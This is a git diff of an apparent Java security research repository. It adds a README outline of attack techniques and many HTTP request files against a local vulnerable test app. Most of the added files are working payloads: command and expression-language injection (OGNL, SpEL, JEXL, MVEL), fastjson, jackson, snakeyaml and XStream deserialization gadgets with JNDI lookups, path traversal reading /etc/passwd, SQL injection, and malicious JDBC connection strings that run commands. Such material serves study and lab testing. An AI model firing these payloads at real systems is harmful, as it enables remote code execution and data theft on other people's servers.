普通执行demo、jsEngine:get、set方式 -- 有sout的回显 (Ps. 通过 Servlet 的回显移到 RceEcho 章节介绍) - - 明文 - - 套一层base64加密 -- 探测用Payload - - DNSLOG、HTTPLOG - - 延时 - -## [EL](Expression/ELAttack) - -- runtime 回显 - - 一句话回显 https://forum.butian.net/share/886 -- jsEngine 回显 -- Scriptlet 标记写法(放在这里对照) - -## [SPEL](Expression/SPELAttack) - -- runtime 回显 -- 探测用Payload - - DNSLOG、HTTPLOG - - 延时 - -## [JxPath](Expression/JxPathAttack) - -- runtime -- js - -# 0x04 [JDBC Attack](JDBCAttack) - -JDBC 序列化的知识可以参考这些项目 [JDBC-Attack](https://github.com/su18/JDBC-Attack) 、[pyn3rd blog](https://pyn3rd.github.io/) 、[A New Attack Interface In Java Applications](https://i.blackhat.com/Asia-23/AS-23-Yuanzhen-A-new-attack-interface-in-Java.pdf) 、 [Deserial_Sink_With_JDBC](https://github.com/luelueking/Deserial_Sink_With_JDBC) -- Mysql - - 文件读取 - - 反序列化 - - statementInterceptors、detectCustomCollations -- PostgreSQL - - CVE-2022-21724 RCE - - AbstractXmlApplicationContext 实现类 - - 文件写入 - - loggerLevel / loggerFile - - 原始方式写入 EL - - 截断方式写入 jsp -- H2database - - RUNSCRIPT 远程sql加载 - - 代码执行 - - INIT转义分号 - - TriggerJS - - Groovy -- IBMDB2 - - JNDI -- ModeShape - - JNDI -- Apache Derby - - Serialize -- Sqlite - - RCE -- dameng 达梦 - - JDNI -- Oracle - - JNDI -- teradata - - JDBC RCE - -# 0x05 [Serialization](Serialization) - -## [Class load](Serialization/ClassLoad) - -- AppClassLoader -- URLCLassLoader -- BCEL -- TransletClassLoader -- Unsafe -- ReflectUtils -- RhinoClassloader -- ScriptEngineDemo - -## [XMLSerialization](Serialization/XMLSerialization) - -### [JarBean](Serialization/XMLSerialization/JavaBean) - -- 命令执行 Runtime、ProcessBuilder、js -- 探测用Payload - - DNSLOG、SOCKETLOG - - 延时 -- JNDI -- BCEL -- RemoteJar - -## [ConstructorEXP](Serialization/ConstructorEXP) - -通过构造方法触发RCE - -- xml - -### XStream - -主要为 CVE 不具体展开,<= 1.4.17 的生成集成在 yso 项目中 - -# 0x06 [文件读写 Demo](FilesOperations) - -可用的文件读写方法,即 Java 数据流的各种操作方法 +举个例子 下载 [c3p0 0.9.5.2](https://mvnrepository.com/artifact/com.mchange/c3p0/0.9.5.2) 依赖放到本地的 `/.m2/repository/com/mchange/c3p0/0.9.5.2` 目录下 # Stats ![Alt](https://repobeats.axiom.co/api/embed/818a4d2c0d1562eec751b2637b825b3b0d2cf0e3.svg "Repobeats analytics image") [//]: # ([![Stargazers over time](https://starchart.cc/Whoopsunix/JavaRce.svg)](https://starchart.cc/Whoopsunix/JavaRce)) - -# Thanks - -感谢师傅们的研究 带来了很大的帮助 :) diff --git a/SecVulns/README.md b/SecVulns/README.md new file mode 100644 index 0000000..dc881b9 --- /dev/null +++ b/SecVulns/README.md @@ -0,0 +1,3 @@ +# SecVulns + +[SecVulnsREST](SecVulnsREST) is a RESTful API that provides information about security vulnerabilities in software packages. \ No newline at end of file diff --git a/SecVulns/SecVulnsREST/Code/Groovy.http b/SecVulns/SecVulnsREST/Code/Groovy.http new file mode 100644 index 0000000..5104184 --- /dev/null +++ b/SecVulns/SecVulnsREST/Code/Groovy.http @@ -0,0 +1,8 @@ +### +# Groovy +POST /code/Groovy/case1 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: text/plain + +"whoami".execute().text + diff --git a/SecVulns/SecVulnsREST/Code/ScriptEngine.http b/SecVulns/SecVulnsREST/Code/ScriptEngine.http new file mode 100644 index 0000000..b3f6482 --- /dev/null +++ b/SecVulns/SecVulnsREST/Code/ScriptEngine.http @@ -0,0 +1,8 @@ +### +# ScriptEngine +POST /code/ScriptEngine/case1 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: text/plain + +var runtime = java.lang./**/Runtime./**/getRuntime();var process = runtime.exec("ifconfig");var inputStream = process.getInputStream();var scanner = new java.util.Scanner(inputStream,"GBK").useDelimiter("\\A");var result = scanner.hasNext() ? scanner.next() : "";scanner.close();result; + diff --git a/SecVulns/SecVulnsREST/Command/command.http b/SecVulns/SecVulnsREST/Command/command.http new file mode 100644 index 0000000..9ec213a --- /dev/null +++ b/SecVulns/SecVulnsREST/Command/command.http @@ -0,0 +1,49 @@ +### +POST /command/Runtime/case1 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/x-www-form-urlencoded + +param=whoami + + +### +POST /command/ProcessBuilder/case1 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/x-www-form-urlencoded + +param=whoami + + +### +POST /command/ProcessImpl/case1 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/x-www-form-urlencoded + +param=whoami + + +### +POST /command/ProcessImplUnixProcess/case1 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/x-www-form-urlencoded + +param=whoami + + +### +POST /command/ProcessImplUnixProcessByUnsafeNative/case1 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/x-www-form-urlencoded + +param=whoami + + +### +POST /command/Thread/case1 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/x-www-form-urlencoded + +param=whoami + + + diff --git a/SecVulns/SecVulnsREST/Deserialization/JavaBean.http b/SecVulns/SecVulnsREST/Deserialization/JavaBean.http new file mode 100644 index 0000000..cfe4aca --- /dev/null +++ b/SecVulns/SecVulnsREST/Deserialization/JavaBean.http @@ -0,0 +1,21 @@ +### +POST /deserialization/javaBean/case1 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: text/plain + + + + + + /bin/sh + + + -c + + + open -a Calculator.app + + + + + diff --git a/SecVulns/SecVulnsREST/Deserialization/cc4.bin b/SecVulns/SecVulnsREST/Deserialization/cc4.bin new file mode 100755 index 0000000..5108da8 Binary files /dev/null and b/SecVulns/SecVulnsREST/Deserialization/cc4.bin differ diff --git a/SecVulns/SecVulnsREST/Deserialization/fastjson.http b/SecVulns/SecVulnsREST/Deserialization/fastjson.http new file mode 100644 index 0000000..f153df1 --- /dev/null +++ b/SecVulns/SecVulnsREST/Deserialization/fastjson.http @@ -0,0 +1,41 @@ +### +# fastjson 原封不动 +POST /deserialization/fastjson/case1 HTTP/1.1 +Host: 127.0.0.1:8080 +X-Token: ifconfig +Content-Type: application/json + + +{ + "a":{ + "@type":"java.lang.Class", + "val":"com.sun.rowset.JdbcRowSetImpl" + }, + "b":{ + "@type":"com.sun.rowset.JdbcRowSetImpl", + "dataSourceName":"ldap://127.0.0.1:1389/0mghfs", + "autoCommit":true + } +} + + +### +# 对象赋值 value +POST /deserialization/fastjson/case2 HTTP/1.1 +Host: 127.0.0.1:8080 +X-Token: ifconfig +Content-Type: application/x-www-form-urlencoded + + +value=" + + +### +# String.format 字符替换 +POST /deserialization/fastjson/case3 HTTP/1.1 +Host: 127.0.0.1:8080 +X-Token: ifconfig +Content-Type: application/x-www-form-urlencoded + + +value=","abc":{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1389/0mghfs","autoCommit":true}},"abcd":" \ No newline at end of file diff --git a/SecVulns/SecVulnsREST/Deserialization/jackson.http b/SecVulns/SecVulnsREST/Deserialization/jackson.http new file mode 100644 index 0000000..26845cc --- /dev/null +++ b/SecVulns/SecVulnsREST/Deserialization/jackson.http @@ -0,0 +1,8 @@ +### +# jackson +POST /deserialization/jackson/case1 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: text/plain + +{"@class":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1389/0mghfs","autoCommit":true} + diff --git a/MemShell.http b/SecVulns/SecVulnsREST/Deserialization/original.http similarity index 50% rename from MemShell.http rename to SecVulns/SecVulnsREST/Deserialization/original.http index a84615c..6093371 100644 --- a/MemShell.http +++ b/SecVulns/SecVulnsREST/Deserialization/original.http @@ -1,22 +1,6 @@ ### -# Exec Filter Servlet -POST /WhoopsunixShell HTTP/1.1 -Host: 127.0.0.1:8080 -X-Token: hostname -Content-Type: application/x-www-form-urlencoded - - -### -# Exec Listener -POST /base64 HTTP/1.1 -Host: 127.0.0.1:8080 -X-Token: hostname -Content-Type: application/x-www-form-urlencoded - - -### -# Memshell -POST /binary HTTP/1.1 +# 反序列化 +POST /deserialization/original/case1 HTTP/1.1 Host: 127.0.0.1:8080 X-Token: hostname Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW @@ -27,6 +11,3 @@ Content-Type: application/octet-stream < ./cc4.bin ------WebKitFormBoundary7MA4YWxkTrZu0gW-- - - -### \ No newline at end of file diff --git a/SecVulns/SecVulnsREST/Deserialization/snakeyaml.http b/SecVulns/SecVulnsREST/Deserialization/snakeyaml.http new file mode 100644 index 0000000..f26c13f --- /dev/null +++ b/SecVulns/SecVulnsREST/Deserialization/snakeyaml.http @@ -0,0 +1,9 @@ +### +# snakeyaml +POST /deserialization/snakeyaml/case1 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: text/plain + +!!com.sun.rowset.JdbcRowSetImpl + dataSourceName: "rmi://127.0.0.1:1099/rw35lr" + autoCommit: true \ No newline at end of file diff --git a/SecVulns/SecVulnsREST/Deserialization/xstream.http b/SecVulns/SecVulnsREST/Deserialization/xstream.http new file mode 100644 index 0000000..ff79f0a --- /dev/null +++ b/SecVulns/SecVulnsREST/Deserialization/xstream.http @@ -0,0 +1,62 @@ +### +# xstream +POST /deserialization/xstream/case1 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: text/plain + + + + + + 0 + + + + text/plain + + + + + 0 + -1 + 1 + + + + open + -a + Calculator.app + + + + + + + java.lang.ProcessBuilder + start + + + start + + + + KEYS + + + + 0 + 0 + 0 + + + false + + + + 0 + + + test + + + diff --git a/SecVulns/SecVulnsREST/Expression/JEXL.http b/SecVulns/SecVulnsREST/Expression/JEXL.http new file mode 100644 index 0000000..7b1d9da --- /dev/null +++ b/SecVulns/SecVulnsREST/Expression/JEXL.http @@ -0,0 +1,7 @@ +### +POST /expression/JEXL/case1 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: text/plain + +''.class.forName('java.lang.Runtime').getRuntime().exec('open -a Calculator.app') + diff --git a/SecVulns/SecVulnsREST/Expression/JxPath.http b/SecVulns/SecVulnsREST/Expression/JxPath.http new file mode 100644 index 0000000..48ce4e9 --- /dev/null +++ b/SecVulns/SecVulnsREST/Expression/JxPath.http @@ -0,0 +1,7 @@ +### +POST /expression/JxPath/case1 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: text/plain + +exec(java.lang.Runtime.getRuntime(),'open -a Calculator') + diff --git a/SecVulns/SecVulnsREST/Expression/MVEL.http b/SecVulns/SecVulnsREST/Expression/MVEL.http new file mode 100644 index 0000000..a12b89a --- /dev/null +++ b/SecVulns/SecVulnsREST/Expression/MVEL.http @@ -0,0 +1,7 @@ +### +POST /expression/MVEL/case1 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: text/plain + +Runtime.getRuntime().exec("open -a Calculator.app") + diff --git a/SecVulns/SecVulnsREST/Expression/OGNL.http b/SecVulns/SecVulnsREST/Expression/OGNL.http new file mode 100644 index 0000000..107b7e5 --- /dev/null +++ b/SecVulns/SecVulnsREST/Expression/OGNL.http @@ -0,0 +1,17 @@ +### +# ibatis get +POST /expression/OGNL/case3 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: text/plain + +{(new java.util.Scanner(@java.lang.Runtime@getRuntime().exec('ifconfig').getInputStream())).useDelimiter("\\A").next()} + + +### +# ibatis set +POST /expression/OGNL/case4 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: text/plain + +(@java.lang.Runtime@getRuntime().exec('open -a Calculator.app'))(a)(b) + diff --git a/SecVulns/SecVulnsREST/Expression/SPEL.http b/SecVulns/SecVulnsREST/Expression/SPEL.http new file mode 100644 index 0000000..1680724 --- /dev/null +++ b/SecVulns/SecVulnsREST/Expression/SPEL.http @@ -0,0 +1,7 @@ +### +POST /expression/SPEL/case1 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: text/plain + +new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('ifconfig').getInputStream()).useDelimiter("\\A").next() + diff --git a/SecVulns/SecVulnsREST/File/1.txt b/SecVulns/SecVulnsREST/File/1.txt new file mode 100644 index 0000000..0ed03c0 --- /dev/null +++ b/SecVulns/SecVulnsREST/File/1.txt @@ -0,0 +1 @@ +asasas \ No newline at end of file diff --git a/SecVulns/SecVulnsREST/File/delete.http b/SecVulns/SecVulnsREST/File/delete.http new file mode 100644 index 0000000..c7bf93f --- /dev/null +++ b/SecVulns/SecVulnsREST/File/delete.http @@ -0,0 +1,7 @@ +### +# delete +POST /file/delete/case1 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/x-www-form-urlencoded + +filePath=2.txt diff --git a/SecVulns/SecVulnsREST/File/directory.http b/SecVulns/SecVulnsREST/File/directory.http new file mode 100644 index 0000000..bfbf8b6 --- /dev/null +++ b/SecVulns/SecVulnsREST/File/directory.http @@ -0,0 +1,15 @@ +### +# listFiles +POST /file/directory/case1 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/x-www-form-urlencoded + +filePath=../../../ + +### +# list +POST /file/directory/case2 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/x-www-form-urlencoded + +filePath=../../../ \ No newline at end of file diff --git a/SecVulns/SecVulnsREST/File/read.http b/SecVulns/SecVulnsREST/File/read.http new file mode 100644 index 0000000..ef0b963 --- /dev/null +++ b/SecVulns/SecVulnsREST/File/read.http @@ -0,0 +1,186 @@ +### +# case1 read_InputStreamReader +POST /file/read/case1 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/x-www-form-urlencoded + +filePath=../../../../../../../../../../../../../../../../../../../../etc/hosts + + +### +# case2 read_InputStreamReader_BufferedReader +POST /file/read/case2 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/x-www-form-urlencoded + +filePath=../../../../../../../../../../../../../../../../../../../../etc/passwd + + +### +# case3 read_InputStreamReader_CharArrayReader +POST /file/read/case3 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/x-www-form-urlencoded + +filePath=../../../../../../../../../../../../../../../../../../../../etc/passwd + + +### +# case4 read_FileInputStream +POST /file/read/case4 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/x-www-form-urlencoded + +filePath=../../../../../../../../../../../../../../../../../../../../etc/passwd + + +### +# case5 read_FileReader_bufferedReader1 +POST /file/read/case5 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/x-www-form-urlencoded + +filePath=../../../../../../../../../../../../../../../../../../../../etc/passwd + + +### +# case6 read_FileReader_bufferedReader2 +POST /file/read/case6 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/x-www-form-urlencoded + +filePath=../../../../../../../../../../../../../../../../../../../../etc/passwd + + +### +# case7 read_FileReader +POST /file/read/case7 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/x-www-form-urlencoded + +filePath=../../../../../../../../../../../../../../../../../../../../etc/passwd + + +### +# case8 read_FileReader_LineNumberReader +POST /file/read/case8 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/x-www-form-urlencoded + +filePath=../../../../../../../../../../../../../../../../../../../../etc/passwd + + +### +# case9 read_FileReader_CharArrayReader +POST /file/read/case9 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/x-www-form-urlencoded + +filePath=../../../../../../../../../../../../../../../../../../../../etc/passwd + + +### +# case10 read_PushbackReader +POST /file/read/case10 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/x-www-form-urlencoded + +filePath=../../../../../../../../../../../../../../../../../../../../etc/passwd + + +### +# case11 read_Files_readAllBytes +POST /file/read/case11 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/x-www-form-urlencoded + +filePath=../../../../../../../../../../../../../../../../../../../../etc/passwd + + +### +# case12 read_Files_readAllLines +POST /file/read/case12 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/x-www-form-urlencoded + +filePath=../../../../../../../../../../../../../../../../../../../../etc/passwd + + +### +# case13 read_Scanner_File +POST /file/read/case13 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/x-www-form-urlencoded + +filePath=../../../../../../../../../../../../../../../../../../../../etc/passwd + + +### +# case14 read_Scanner_Path +POST /file/read/case14 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/x-www-form-urlencoded + +filePath=../../../../../../../../../../../../../../../../../../../../etc/passwd + + +### +# case15 read_RandomAccessFile_readLine +POST /file/read/case15 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/x-www-form-urlencoded + +filePath=../../../../../../../../../../../../../../../../../../../../etc/passwd + + +### +# case16 read_RandomAccessFile_read +POST /file/read/case16 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/x-www-form-urlencoded + +filePath=../../../../../../../../../../../../../../../../../../../../etc/passwd + + +### +# case17 read_FileChannel +POST /file/read/case17 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/x-www-form-urlencoded + +filePath=../../../../../../../../../../../../../../../../../../../../etc/passwd + + +### +# case18 read_FileChannel_open +POST /file/read/case18 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/x-www-form-urlencoded + +filePath=../../../../../../../../../../../../../../../../../../../../etc/passwd + + +### +# case19 read_FileUtils +POST /file/read/case19 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/x-www-form-urlencoded + +filePath=../../../../../../../../../../../../../../../../../../../../etc/passwd + +### +# case20 read_FileInputStream_BufferedInputStream +POST /file/read/case20 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/x-www-form-urlencoded + +filePath=../../../../../../../../../../../../../../../../../../../../etc/passwd + + +### +# case21 read_IOUtils +POST /file/read/case21 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/x-www-form-urlencoded + +filePath=../../../../../../../../../../../../../../../../../../../../etc/passwd \ No newline at end of file diff --git a/SecVulns/SecVulnsREST/File/rename.http b/SecVulns/SecVulnsREST/File/rename.http new file mode 100644 index 0000000..64be480 --- /dev/null +++ b/SecVulns/SecVulnsREST/File/rename.http @@ -0,0 +1,7 @@ +### +# rename +POST /file/rename/case1 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/x-www-form-urlencoded + +oldFile=1.txt&newFile=2.txt diff --git a/SecVulns/SecVulnsREST/File/upload.http b/SecVulns/SecVulnsREST/File/upload.http new file mode 100644 index 0000000..161dd58 --- /dev/null +++ b/SecVulns/SecVulnsREST/File/upload.http @@ -0,0 +1,53 @@ +### springboot2 +# Upload +POST /file/upload/case1 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW + +------WebKitFormBoundary7MA4YWxkTrZu0gW +Content-Disposition: form-data; name="file"; filename="1.txt" +Content-Type: application/octet-stream + +< ./1.txt +------WebKitFormBoundary7MA4YWxkTrZu0gW-- + + +### springboot2 +# Upload org.springframework.web.multipart.commons.CommonsMultipartFile#transferTo(java.io.File) +POST /file/upload/case2 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW + +------WebKitFormBoundary7MA4YWxkTrZu0gW +Content-Disposition: form-data; name="file"; filename="1.txt" +Content-Type: application/octet-stream + +< ./1.txt +------WebKitFormBoundary7MA4YWxkTrZu0gW-- + + + +### commons-fileupload +POST /file/upload/case3 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW + +------WebKitFormBoundary7MA4YWxkTrZu0gW +Content-Disposition: form-data; name="file"; filename="1.txt" +Content-Type: application/octet-stream + +< ./file/1.jsp +------WebKitFormBoundary7MA4YWxkTrZu0gW-- + + +### tomcat Part +POST /file/upload/case4 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW + +------WebKitFormBoundary7MA4YWxkTrZu0gW +Content-Disposition: form-data; name="file"; filename="1.txt" +Content-Type: application/octet-stream + +< ./file/1.txt +------WebKitFormBoundary7MA4YWxkTrZu0gW-- \ No newline at end of file diff --git a/SecVulns/SecVulnsREST/File/write.http b/SecVulns/SecVulnsREST/File/write.http new file mode 100644 index 0000000..bef06e0 --- /dev/null +++ b/SecVulns/SecVulnsREST/File/write.http @@ -0,0 +1,124 @@ +### +# case1 write_OutputStreamWriter +POST /file/write/case1 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/x-www-form-urlencoded + +filePath=../../../../../../../../../../../../../../../../../../../../tmp/flag.txt&fileContent=xxx + + +### +# case2 write_FileWriter +POST /file/write/case2 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/x-www-form-urlencoded + +filePath=../../../../../../../../../../../../../../../../../../../../tmp/flag.txt&fileContent=xxx + + +### +# case3 write_FileWriter_BufferedWriter +POST /file/write/case3 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/x-www-form-urlencoded + +filePath=../../../../../../../../../../../../../../../../../../../../tmp/flag.txt&fileContent=xxx + + +### +# case4 write_FileWriter_CharArrayWriter +POST /file/write/case4 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/x-www-form-urlencoded + +filePath=../../../../../../../../../../../../../../../../../../../../tmp/flag.txt&fileContent=xxx + + +### +# case5 write_FileWriter_PrintWriter +POST /file/write/case5 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/x-www-form-urlencoded + +filePath=../../../../../../../../../../../../../../../../../../../../tmp/flag.txt&fileContent=xxx + + +### +# case6 write_PrintWriter_BufferedWriter_FileWriter +POST /file/write/case6 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/x-www-form-urlencoded + +filePath=../../../../../../../../../../../../../../../../../../../../tmp/flag.txt&fileContent=xxx + + +### +# case7 write_FileOutputStream +POST /file/write/case7 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/x-www-form-urlencoded + +filePath=../../../../../../../../../../../../../../../../../../../../tmp/flag.txt&fileContent=xxx + + +### +# case8 write_PrintStream +POST /file/write/case8 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/x-www-form-urlencoded + +filePath=../../../../../../../../../../../../../../../../../../../../tmp/flag.txt&fileContent=xxx + + +### +# case9 write_RandomAccessFile +POST /file/write/case9 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/x-www-form-urlencoded + +filePath=../../../../../../../../../../../../../../../../../../../../tmp/flag.txt&fileContent=xxx + + +### +# case10 write_FileChannel +POST /file/write/case10 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/x-www-form-urlencoded + +filePath=../../../../../../../../../../../../../../../../../../../../tmp/flag.txt&fileContent=xxx + + +### +# case11 write_Files +POST /file/write/case11 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/x-www-form-urlencoded + +filePath=../../../../../../../../../../../../../../../../../../../../tmp/flag.txt&fileContent=xxx + + +### +# case111 write_Files 重命名保留后缀 +POST /file/write/case111 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/x-www-form-urlencoded + +filePath=../../../../../../../../../../../../../../../../../../../../tmp/flag.txt&fileContent=xxx + + +### +# case12 write_FileUtils +POST /file/write/case12 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/x-www-form-urlencoded + +filePath=../../../../../../../../../../../../../../../../../../../../tmp/flag.txt&fileContent=xxx + + +### +# case13 write_FileOutputStream_file +POST /file/write/case13 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/x-www-form-urlencoded + +filePath=../../../../../../../../../../../../../../../../../../../../tmp/flag.txt&fileContent=xxx diff --git a/SecVulns/SecVulnsREST/Inject/SQL/mysql.http b/SecVulns/SecVulnsREST/Inject/SQL/mysql.http new file mode 100644 index 0000000..a2ba64c --- /dev/null +++ b/SecVulns/SecVulnsREST/Inject/SQL/mysql.http @@ -0,0 +1,45 @@ +### +POST /sql/mysql/case1 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/x-www-form-urlencoded + +id=1&username=xxx' union select * from users#&password=1 + + +### +POST /sql/mysql/case2 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/x-www-form-urlencoded + +id=1&username=xxx' union select * from users#&password=1 + + +### +POST /sql/hql/case1 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/x-www-form-urlencoded + +id=1&username=xxx' union select * from users#&password=1 + + + +### +POST /sql/ali/case1 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/x-www-form-urlencoded + +id=1&username=xxx' union select * from users#&password=1 + + +### +POST /sql/spring/case1 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/x-www-form-urlencoded + +id=1&username=xxx' union select * from users#&password=1 + + + + + + diff --git a/SecVulns/SecVulnsREST/Inject/XPath/XPath.http b/SecVulns/SecVulnsREST/Inject/XPath/XPath.http new file mode 100644 index 0000000..557bfc1 --- /dev/null +++ b/SecVulns/SecVulnsREST/Inject/XPath/XPath.http @@ -0,0 +1,11 @@ +### +POST /xpath/inject/case1 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/x-www-form-urlencoded + +id=1&username=' or 1=1 or '&password=pass + + + + + diff --git a/SecVulns/SecVulnsREST/JDBC/h2database.http b/SecVulns/SecVulnsREST/JDBC/h2database.http new file mode 100644 index 0000000..9b15461 --- /dev/null +++ b/SecVulns/SecVulnsREST/JDBC/h2database.http @@ -0,0 +1,11 @@ +### +POST /JDBC/H2Attack/case1 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/x-www-form-urlencoded + +param=jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS if not exists EXEC AS 'void exec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd)\;}'\;CALL EXEC ('open -a calculator.app')\; + + + + + diff --git a/SecVulns/SecVulnsREST/JDBC/ibm.http b/SecVulns/SecVulnsREST/JDBC/ibm.http new file mode 100644 index 0000000..48917cd --- /dev/null +++ b/SecVulns/SecVulnsREST/JDBC/ibm.http @@ -0,0 +1,11 @@ +### +POST /JDBC/IBMAttack/case1 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/x-www-form-urlencoded + +param=jdbc:db2://127.0.0.1:50001/BLUDB:clientRerouteServerListJNDIName=rmi://127.0.0.1:1099/vabnob; + + + + + diff --git a/SecVulns/SecVulnsREST/JDBC/modeshape.http b/SecVulns/SecVulnsREST/JDBC/modeshape.http new file mode 100644 index 0000000..f779f4b --- /dev/null +++ b/SecVulns/SecVulnsREST/JDBC/modeshape.http @@ -0,0 +1,11 @@ +### +POST /JDBC/ModeshapeAttack/case1 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/x-www-form-urlencoded + +param=jdbc:jcr:jndi:rmi://127.0.0.1:1099/f64tsv + + + + + diff --git a/SecVulns/SecVulnsREST/JDBC/mysql.http b/SecVulns/SecVulnsREST/JDBC/mysql.http new file mode 100644 index 0000000..e9bc5ce --- /dev/null +++ b/SecVulns/SecVulnsREST/JDBC/mysql.http @@ -0,0 +1,11 @@ +### +POST /JDBC/MysqlAttack/case1 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/x-www-form-urlencoded + +param=jdbc:mysql://127.0.0.1:3306/test?maxAllowedPacket=655360&autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections5_open -a Calculator.app + + + + + diff --git a/SecVulns/SecVulnsREST/JDBC/postgresql.http b/SecVulns/SecVulnsREST/JDBC/postgresql.http new file mode 100644 index 0000000..62a627d --- /dev/null +++ b/SecVulns/SecVulnsREST/JDBC/postgresql.http @@ -0,0 +1,11 @@ +### +POST /JDBC/PostgresqlAttack/case1 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/x-www-form-urlencoded + +param=jdbc:postgresql://127.0.0.1:5432/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://127.0.0.1:5432/poc.xml + + + + + diff --git a/SecVulns/SecVulnsREST/JDBC/teradata.http b/SecVulns/SecVulnsREST/JDBC/teradata.http new file mode 100644 index 0000000..837f733 --- /dev/null +++ b/SecVulns/SecVulnsREST/JDBC/teradata.http @@ -0,0 +1,11 @@ +### +POST /JDBC/TeradataAttack/case1 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/x-www-form-urlencoded + +param=jdbc:teradata://127.0.0.1/DBS_PORT=10250,LOGMECH=BROWSER,BROWSER='open -a calculator',TYPE=DEFAULT,COP=OFF,TMODE=TERA,LOG=DEBUG + + + + + diff --git a/SecVulns/SecVulnsREST/JNI/jni.http b/SecVulns/SecVulnsREST/JNI/jni.http new file mode 100644 index 0000000..c88c4f0 --- /dev/null +++ b/SecVulns/SecVulnsREST/JNI/jni.http @@ -0,0 +1,11 @@ +### +POST /JNI/case1 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/x-www-form-urlencoded + +param= + + + + + diff --git a/SecVulns/SecVulnsREST/RPC/jndi.http 